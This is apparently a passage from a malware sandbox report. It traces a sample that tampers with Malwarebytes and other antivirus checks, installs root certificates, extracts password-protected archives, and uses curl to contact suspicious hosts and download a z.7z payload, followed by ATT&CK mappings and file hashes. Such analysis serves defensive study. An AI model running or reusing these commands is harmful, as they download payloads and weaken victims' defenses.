  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:1068
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:2548
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:5344
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:5324
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:5404
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:5372
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:5436
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:5444
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:5488
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:5480
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      Executes a command shell one-liner
      PID:5552
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:5524
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:5596
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        Discovers running processes
        
        PID:5576
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:5652
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:5632
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:5724
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:5688
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:5752
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:5616
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:5808
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:5800
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:5860
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:5728
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:5916
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:5996
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:5840
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        Discovers running processes
        
        PID:6060
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:6120
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:6100
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:4632
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:5124
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:1460
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:5168
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:5224
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:5200
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:5268
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:5292
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:5308
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:5328
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:5376
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:5384
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:5440
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:5252
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:5500
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:5312
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:5536
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:5232
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:5580
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:5512
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:5636
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:5776
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      Executes a command shell one-liner
      PID:5688
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:5820
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:5748
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:5880
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:5932
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:5928
- - C:\Program Files (x86)\7-Zip\7z.exe
    "C:\Program Files (x86)\7-Zip\7z.exe" x "C:\Users\Admin\AppData\Local\Temp\qbE584D21.BC\ck.7z" -o"C:\ProgramData" -pDFGkjgdfkjghfdjg7y7fyhdkghdfg -y
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:3420
- - C:\Program Files (x86)\7-Zip\7z.exe
    "C:\Program Files (x86)\7-Zip\7z.exe" x "C:\Users\Admin\AppData\Local\Temp\qbE584D21.BC\rs.7z" -o"C:\Users\Admin\AppData\Local\Temp" -phfgdhgGDFGdfhmjdfh5gf6fdk7hjdf -y
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4396
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell start-process -FilePath 'C:\Program Files\Malwarebytes\Anti-Malware\unins000.exe' -ArgumentList '/VERYSILENT /SUPPRESSMSGBOXES /NORESTART /SP-' -NoNewWindow -Wait
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3172
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell start-process -FilePath 'C:\Users\Admin\AppData\Local\Temp\rs.exe' -ArgumentList '/VERYSILENT /SUPPRESSMSGBOXES /NORESTART /SP-' -NoNewWindow -Wait
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2512
  - - C:\Users\Admin\AppData\Local\Temp\rs.exe
      "C:\Users\Admin\AppData\Local\Temp\rs.exe" /VERYSILENT /SUPPRESSMSGBOXES /NORESTART /SP-
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4924
    - - C:\Users\Admin\AppData\Local\Temp\is-LFNG6.tmp\rs.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-LFNG6.tmp\rs.tmp" /SL5="$A017A,63820596,239616,C:\Users\Admin\AppData\Local\Temp\rs.exe" /VERYSILENT /SUPPRESSMSGBOXES /NORESTART /SP-
        5⤵
        Drops file in Drivers directory
        Executes dropped EXE
        Impair Defenses: Safe Mode Boot
        Loads dropped DLL
        Drops file in Program Files directory
        System Location Discovery: System Language Discovery
        Modifies Internet Explorer settings
        Suspicious use of FindShellTrayWindow
        Suspicious use of WriteProcessMemory
        
        PID:3912
      - C:\Windows\system32\certutil.exe
        
        "certutil.exe" -f -addStore root "C:\Users\Admin\AppData\Local\Temp\is-44J2J.tmp\BaltimoreCyberTrustRoot.crt"
        6⤵
        Installs a root certificate to the trusted certificate store
        
        PID:1832
      - C:\Windows\system32\certutil.exe
        
        "certutil.exe" -f -addStore root "C:\Users\Admin\AppData\Local\Temp\is-44J2J.tmp\DigiCertEVRoot.crt"
        6⤵
        Installs a root certificate to the trusted certificate store
        
        PID:2456
      - C:\Program Files\Malwarebytes\Anti-Malware\mbamservice.exe
        
        "C:\Program Files\Malwarebytes\Anti-Malware\mbamservice.exe" /service /Protected
        6⤵
        Drops file in Drivers directory
        Executes dropped EXE
        Drops file in System32 directory
        Drops file in Windows directory
        Modifies registry class
        Suspicious use of AdjustPrivilegeToken
        
        PID:2504
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:4916
- - C:\Windows\system32\attrib.exe
    attrib +h +s "C:\ProgramData\tl"
    3⤵
    - Views/modifies file attributes
    PID:440
- - C:\Windows\system32\xcopy.exe
    xcopy /C /H /Q /R /Y "C:\ProgramData\Malwarebytes\MBAMService\config\LicenseConfig.json" "C:\ProgramData\tl"
    3⤵
    PID:4764
- - C:\Windows\system32\xcopy.exe
    xcopy /C /H /Q /R /Y "C:\ProgramData\Malwarebytes\MBAMService\config\ScanConfig.json" "C:\ProgramData\tl"
    3⤵
    PID:4388
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell start-process -FilePath 'C:\Program Files\Malwarebytes\Anti-Malware\unins000.exe' -ArgumentList '/VERYSILENT /SUPPRESSMSGBOXES /NORESTART /SP-' -NoNewWindow -Wait
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2044
  - - C:\Program Files\Malwarebytes\Anti-Malware\unins000.exe
      "C:\Program Files\Malwarebytes\Anti-Malware\unins000.exe" /VERYSILENT /SUPPRESSMSGBOXES /NORESTART /SP-
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4332
    - - C:\Users\Admin\AppData\Local\Temp\_iu14D2N.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\_iu14D2N.tmp" /SECONDPHASE="C:\Program Files\Malwarebytes\Anti-Malware\unins000.exe" /FIRSTPHASEWND=$C004E /VERYSILENT /SUPPRESSMSGBOXES /NORESTART /SP-
        5⤵
        Checks computer location settings
        Executes dropped EXE
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        Suspicious use of FindShellTrayWindow
        Suspicious use of WriteProcessMemory
        
        PID:1060
      - C:\Program Files\Malwarebytes\Anti-Malware\mbamservice.exe
        
        "C:\Program Files\Malwarebytes\Anti-Malware\mbamservice.exe" /unregserver
        6⤵
        Executes dropped EXE
        Modifies registry class
        Suspicious use of AdjustPrivilegeToken
        
        PID:1160
      - C:\Program Files\Malwarebytes\Anti-Malware\mbamwsc.exe
        
        "C:\Program Files\Malwarebytes\Anti-Malware\mbamwsc.exe" /uninstall
        6⤵
        Executes dropped EXE
        
        PID:3192
      - C:\Windows\system32\regsvr32.exe
        
        "C:\Windows\system32\regsvr32.exe" /u /s "C:\Program Files\Malwarebytes\Anti-Malware\mbshlext.dll"
        6⤵
        Loads dropped DLL
        
        PID:2264
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c wmic path win32_LocalTime Get Day,Month,Year /value
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5108
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_LocalTime Get Day,Month,Year /value
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:3792
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq SbieSvc.exe" /fo csv /nh
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4500
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq SbieSvc.exe" /fo csv /nh
      4⤵
      PID:852
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Microsoft\Alu" /s /reg:32
    3⤵
    PID:2628
- - C:\Windows\system32\reg.exe
    reg Add "HKLM\SOFTWARE\Microsoft\Alu" /f /reg:32
    3⤵
    PID:2952
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SystemInformation" /v "SystemProductName"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2640
  - - C:\Windows\system32\reg.exe
      reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SystemInformation" /v "SystemProductName"
      4⤵
      PID:3372
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c reg query "HKEY_LOCAL_MACHINE\SYSTEM\HardwareConfig\Current" /v "SystemProductName"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3752
  - - C:\Windows\system32\reg.exe
      reg query "HKEY_LOCAL_MACHINE\SYSTEM\HardwareConfig\Current" /v "SystemProductName"
      4⤵
      PID:4488
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c reg query "HKEY_LOCAL_MACHINE\SYSTEM\HardwareConfig\Current" /v "SystemManufacturer"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5116
  - - C:\Windows\system32\reg.exe
      reg query "HKEY_LOCAL_MACHINE\SYSTEM\HardwareConfig\Current" /v "SystemManufacturer"
      4⤵
      PID:3516
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq ekrn.exe" /fo csv /nh
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3656
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq ekrn.exe" /fo csv /nh
      4⤵
      PID:1140
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq QHActiveDefense.exe" /fo csv /nh
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4800
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq QHActiveDefense.exe" /fo csv /nh
      4⤵
      PID:2140
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq avp.exe" /fo csv /nh
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:796
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq avp.exe" /fo csv /nh
      4⤵
      PID:2236
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c curl https://ipinfo.io/ip -k
    3⤵
    PID:2240
  - - C:\Windows\system32\curl.exe
      curl https://ipinfo.io/ip -k
      4⤵
      PID:2260
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c curl https://ipinfo.io/country -k
    3⤵
    PID:5080
  - - C:\Windows\system32\curl.exe
      curl https://ipinfo.io/country -k
      4⤵
      PID:2908
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic os get caption
    3⤵
    PID:4372
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" ( findstr /ilc:"Windows 7" 1>nul )"
    3⤵
    PID:1716
  - - C:\Windows\system32\findstr.exe
      findstr /ilc:"Windows 7"
      4⤵
      PID:1356
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic os get caption
    3⤵
    PID:1264
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" ( findstr /ilc:"Windows 8" 1>nul )"
    3⤵
    PID:3568
  - - C:\Windows\system32\findstr.exe
      findstr /ilc:"Windows 8"
      4⤵
      PID:3400
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic os get caption
    3⤵
    PID:1844
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" ( findstr /ilc:"Windows 8.1" 1>nul )"
    3⤵
    PID:3192
  - - C:\Windows\system32\findstr.exe
      findstr /ilc:"Windows 8.1"
      4⤵
      PID:3488
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic os get caption
    3⤵
    PID:3128
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" ( findstr /ilc:"Windows 10" 1>nul )"
    3⤵
    PID:4184
  - - C:\Windows\system32\findstr.exe
      findstr /ilc:"Windows 10"
      4⤵
      PID:4520
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic os get caption
    3⤵
    PID:5112
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" ( findstr /ilc:"Windows 11" 1>nul )"
    3⤵
    PID:1592
  - - C:\Windows\system32\findstr.exe
      findstr /ilc:"Windows 11"
      4⤵
      PID:1900
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c curl https://fasttaxi8858.com/parking/drive.php --user-agent "ubertax" -k
    3⤵
    PID:3404
  - - C:\Windows\system32\curl.exe
      curl https://fasttaxi8858.com/parking/drive.php --user-agent "ubertax" -k
      4⤵
      PID:3108
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c curl https://fasttaxi885868788.com/parking/drive.php --user-agent "ubertax" -k
    3⤵
    PID:3864
  - - C:\Windows\system32\curl.exe
      curl https://fasttaxi885868788.com/parking/drive.php --user-agent "ubertax" -k
      4⤵
      PID:1904
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c curl https://uber885868888.com/parking/uber.php --user-agent "ubertax" -k
    3⤵
    PID:2400
  - - C:\Windows\system32\curl.exe
      curl https://uber885868888.com/parking/uber.php --user-agent "ubertax" -k
      4⤵
      PID:4680
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c curl -k https://c..com/c01.php --user-agent "c010101"
    3⤵
    PID:4320
  - - C:\Windows\system32\curl.exe
      curl -k https://c..com/c01.php --user-agent "c010101"
      4⤵
      PID:1484
- - C:\Windows\system32\curl.exe
    curl -k -o "C:\Users\Admin\AppData\Local\Temp\z.7z" -L "https://z..com/z.7z" --user-agent ""
    3⤵
    PID:4136
- - C:\Program Files (x86)\7-Zip\7z.exe
    "C:\Program Files (x86)\7-Zip\7z.exe" x "C:\Users\Admin\AppData\Local\Temp\z.7z" -o"C:\Users\Admin\AppData\Local\Temp" -pconfigvpnG2012885838482012ggg -y
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    PID:3452

C:\Windows\system32\DRIVERS\MbamElam.sys
C:\Windows\system32\DRIVERS\MbamElam.sys
1⤵
- Executes dropped EXE
PID:1116

C:\Program Files\Malwarebytes\Anti-Malware\mbamservice.exe
"C:\Program Files\Malwarebytes\Anti-Malware\mbamservice.exe"
1⤵
- Drops file in Drivers directory
- Sets service image path in registry
- Checks BIOS information in registry
- Executes dropped EXE
- Loads dropped DLL
- Enumerates connected drives
- Drops file in System32 directory
- Drops file in Program Files directory
- Drops file in Windows directory
- Checks processor information in registry
- Modifies data under HKEY_USERS
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4360
- C:\Program Files\Malwarebytes\Anti-Malware\mbamtray.exe
  "C:\Program Files\Malwarebytes\Anti-Malware\mbamtray.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Modifies system certificate store
  - Suspicious behavior: AddClipboardFormatListener
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of SetWindowsHookEx
  PID:3736
- C:\Program Files\Malwarebytes\Anti-Malware\MBAMWsc.exe
  "C:\Program Files\Malwarebytes\Anti-Malware\MBAMWsc.exe" /wac 1 /status off true /updatesubstatus none /scansubstatus recommended /settingssubstatus none
  2⤵
  - Executes dropped EXE
  PID:3920

C:\Windows\system32\DRIVERS\mbam.sys
C:\Windows\system32\DRIVERS\mbam.sys
1⤵
- Executes dropped EXE
PID:3780

C:\Windows\system32\drivers\mbae64.sys
C:\Windows\system32\drivers\mbae64.sys
1⤵
- Executes dropped EXE
PID:2260

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Component Object Model Hijacking

T1546.015

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Component Object Model Hijacking

T1546.015

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Safe Mode Boot

T1562.009

Modify Registry

T1112

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Peripheral Device Discovery

T1120

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

ActionsShim.dll

Path C:\PROGRAM FILES\MALWAREBYTES\ANTI-MALWARE\ActionsShim.dll
Size 2.1MB
SHA256 67bbf76887027a8924ceff2d81f119a36283a882c2611c104f137d8375f10acb
MD5 63df04ba26b4e485e7e6d9acd497dfd8
SHA1 41554bf4069a6e07cd2abe941b7496f5084ba286
SHA512 2571a9ba4c4101622360bf3cf548cf97f78cd0a07013bae207e45b964a12d822447dd2a1da1f0208029f46b169afe729231374e87aa830f7910f81e3b12ba826
SSDEEP 49152:c+B0n5p65TMFXCU/OWaq8Vn2Oh5Pgcqw87PBi+nCHvw:5s1FXKhRqJi+ow
TLSH
T108A57B01B3A805B4EEB7C2398697960BD7F2B8151372ABDF06A456B91F737E1163E700
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CleanControllerImpl.dll

Path C:\PROGRAM FILES\MALWAREBYTES\ANTI-MALWARE\CleanControllerImpl.dll
Size 5.4MB
SHA256 86f81665b233c7bb75ea5b986edcb486ce92faf38d670d63632eb23875b32b40
MD5 1aa36b41e437501f20ba879d9c23ed3c
SHA1 0f8ec29c321e0c96fb3bd3d8c51945ce70199490
SHA512 2db53b44c47daabf74229755cfa9621cee8bb397042a8b8dc7e0748b366f42ff866a9e97562e5dea012f3d1741debbd5152debaadefa5060eb9f32a4bc1507f9
SSDEEP 49152:nFW3ODsRqMuqyuboHdv8eZweWbsiFCztPyWozaJh+1SPoOHULp6/LpxG+fsxBAwM:4cZZi30SpoO77gPBFwPi8/goVLlURT
TLSH
T18A467C4977F900A9E5B7C13DDAA78902E7B278551B31CBEF0551922E0E33BE09E39721
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CloudControllerImpl.dll

Path C:\PROGRAM FILES\MALWAREBYTES\ANTI-MALWARE\CloudControllerImpl.dll
Size 3.4MB
SHA256 a50580cfb78676285130ca13fa052df96cd6d1bf639be78a9739a2db4fab2944
MD5 447926609e3228ff943c3cde0ed1692d
SHA1 adbe95d3682677fa6583892124574d0f14ef1bc7
SHA512 a1277c4c5da9f1801308db96365f413866ff250b38a338e8e93565f658bf2d3ea4dcd8f7820194b21eced4778b1694cdece85a51e2380548e5ace8a1a795726f
SSDEEP 49152:jOgJ+9ilOzpD72sezMzE3yyjIbKRZLCIJ5fo7/U/MidC7Oh5PrIo+Ygq4wK4TuSU:Bzi6FCuwD6VBww5izuM
TLSH
T195F57C19B7A800A4E9B7C13CC9938703E7B2B85587729BDF06A556391F337E25A3E710
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

PoliciesControllerImpl.dll

Path C:\PROGRAM FILES\MALWAREBYTES\ANTI-MALWARE\PoliciesControllerImpl.dll
Size 2.4MB
SHA256 b44957becd817bb9febcfc627627709916c82f366eecac6e71e630e5bffafc79
MD5 69d87ada8d240550d7469e5ce7c75369
SHA1 bb3422b1dc462922b6a24eee46629b89a590d327
SHA512 bb91fb0540a861155e5b3d28f109b4bb7f6b6f1d3138391bab382d0750c1968672c163c1cdab226fe3a819e36d6307ec2df94e3539918bec5b55c34214437a58
SSDEEP 49152:SmohR/AM1iiu8uZcWz8kRnhRVOh5PZ3XFUfPBiFi2oL01BP:7r8uZ8gI3XAiFXP
TLSH
T172C57C16A3A801A8EEB7C23CC9539A03D7F2B85503719BDF06A456791F33BE25A3D711
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScanControllerImpl.dll

Path C:\PROGRAM FILES\MALWAREBYTES\ANTI-MALWARE\ScanControllerImpl.dll
Size 4.3MB
SHA256 55e3fbf495de13c76b6a715cfb68f2175efd5d9d58776e3b2fa3faec7a1f648e
MD5 80a36bcaa9d09595687ff51460676127
SHA1 a00a6ad5ddcaffcfb74e3394e46960dfd5450a17
SHA512 2142b166be03cc0c00a1aa39d1263c26deace2453470c3a2753279de594bea111325b2b933fc8a3f4e9b4fa6d101cd0ad44d3371d590440cba7af7e53513da7e
SSDEEP 49152:Y8HHARWxb6n36DwfV9NFgkJtcOUw273zX4fWoQZw+fJOh5PmIFYlXouToCPBiWzo:+p27q0h7IYmwiWPO4dwN
TLSH
T141267D0577A901A4E5B7C23989A78603EBB2BC551731DBEF0560563E0F33BE19A3E721
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

TelemetryControllerImpl.dll

